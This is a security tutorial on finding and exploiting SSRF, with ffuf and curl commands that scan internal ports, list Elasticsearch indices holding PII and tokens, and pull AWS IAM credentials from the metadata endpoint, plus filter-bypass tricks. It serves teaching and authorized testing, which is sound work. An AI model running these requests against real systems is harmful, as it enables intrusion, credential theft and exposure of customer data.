SSRF Attacks: Finding and Exploiting Server-Side Request Forgery
In 2021, an SSRF vulnerability in GitLab (CVE-2021-22214) let unauthenticated attackers make the server issue requests to internal services — leaking credentials and bypassing firewalls. SSRF is everywhere: any feature that fetches a remote URL is a potential entry point. Here is how attackers find it, exploit it, and what defenders need to know.
What SSRF Actually Is — and Where to Find It
Server-Side Request Forgery tricks the server into making HTTP requests on your behalf. Instead of the server fetching https://legit-site.com/image.png, you redirect it to http://169.254.169.254/latest/meta-data/ or an internal API that was never meant to be public.
Look for parameters that accept URLs or hostnames: url=, src=, dest=, redirect=, fetch=, uri=. Webhooks, PDF generators, image preview features, and integrations that pull remote data are prime targets.
Start by injecting a Burp Collaborator or interactshell.io callback URL into every suspicious parameter and watch for out-of-band DNS or HTTP hits. If the server resolves your domain, you have SSRF.
Example 1 — Probing Internal Services with ffuf
ffuf is a fast web fuzzer. Here you are brute-forcing internal ports through a vulnerable fetch endpoint on app.corp-internal.dev.
ffuf -u "https://app.corp-internal.dev/api/fetch?url=http://192.0.2.10:FUZZ/" \
-w /usr/share/wordlists/ports-top100.txt \
-fc 500 \
-mc all \
-t 50
# Sample output:
# [Status: 200, Size: 1842, Words: 312, Lines: 47] :: 8080
# [Status: 200, Size: 413, Words: 28, Lines: 9 ] :: 6379
# [Status: 200, Size: 9271, Words: 1204, Lines: 183] :: 9200
Three ports responded. Port 8080 is probably an internal web service. Port 6379 is Redis — a low-auth key-value store that attackers love because you can often read session tokens or write arbitrary keys. Port 9200 is Elasticsearch, which in many default deployments has no authentication and exposes every indexed document.
Your next move: chain a targeted request. For Redis, the raw protocol is text-based, so some SSRF vulnerabilities can speak to it using gopher:// URLs. For Elasticsearch, hit /_cat/indices to enumerate stored data.
curl "https://app.corp-internal.dev/api/fetch?url=http://192.0.2.10:9200/_cat/indices?v"
# Output forwarded from the internal Elasticsearch node:
# health status index uuid pri rep docs.count
# green open customer_pii xK9a... 1 0 84201
# green open auth_tokens mN3b... 1 0 5433
You are now looking at index names on an internal Elasticsearch cluster — through the application server, from the public internet. The index auth_tokens is self-explanatory. Pull a sample document with /_search?size=1 appended and you likely have live session tokens.
Example 2 — Cloud Metadata Exfiltration
If the vulnerable app runs on AWS, the metadata endpoint at 169.254.169.254 is the crown jewel. IMDSv1 requires no authentication whatsoever — one request is enough.
curl "https://app.corp-internal.dev/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Server response body:
# prod-app-role
curl "https://app.corp-internal.dev/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-app-role"
# Server response body:
# {
# "Code": "Success",
# "Type": "AWS-HMAC",
# "AccessKeyId": "ASIA4EXAMPLE7KQXYZ12",
# "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
# "Token": "IQoJb3JpZ2luX2VjEJr...",
# "Expiration": "2026-06-21T18:43:00Z"
# }
You now hold temporary AWS credentials tied to the prod-app-role IAM role. Load them into the AWS CLI with aws configure and run aws sts get-caller-identity to confirm they work. From there, enumerate S3 buckets, Lambda functions, RDS snapshots — whatever that role has access to.
AWS introduced IMDSv2 to require a session-oriented token before the metadata endpoint responds. But many deployments still run IMDSv1, and misconfigurations in IMDSv2 enforcement are common. Always check.
Bypassing Basic SSRF Filters
Developers often block obvious inputs like localhost or 127.0.0.1. These bypasses work more often than they should:
- Decimal IP:
http://2130706433/resolves to127.0.0.1 - IPv6 loopback:
http://[::1]/ - DNS rebinding: Use a domain you control that resolves to
127.0.0.1after the filter check - Redirect chains: Point the URL to your server, respond with a 301 to the internal target
- URL encoding:
http://127.0.0.1%09/or double-encoding the dot
Filters that blocklist strings instead of validating against an allowlist of expected destinations will almost always have a bypass. If you see a filter, assume it is incomplete.
What To Do Now
Pick one application you own or are authorized to test and grep its source code or proxy traffic for any parameter that accepts a URL. Run a quick ffuf scan against it using a Burp Collaborator URL as the payload — right now, before you close this tab. If you get a DNS callback, you have an SSRF. From there, follow the port-scan approach above to understand what internal services the server can reach. That single test has uncovered critical findings in applications that had passed multiple audits.
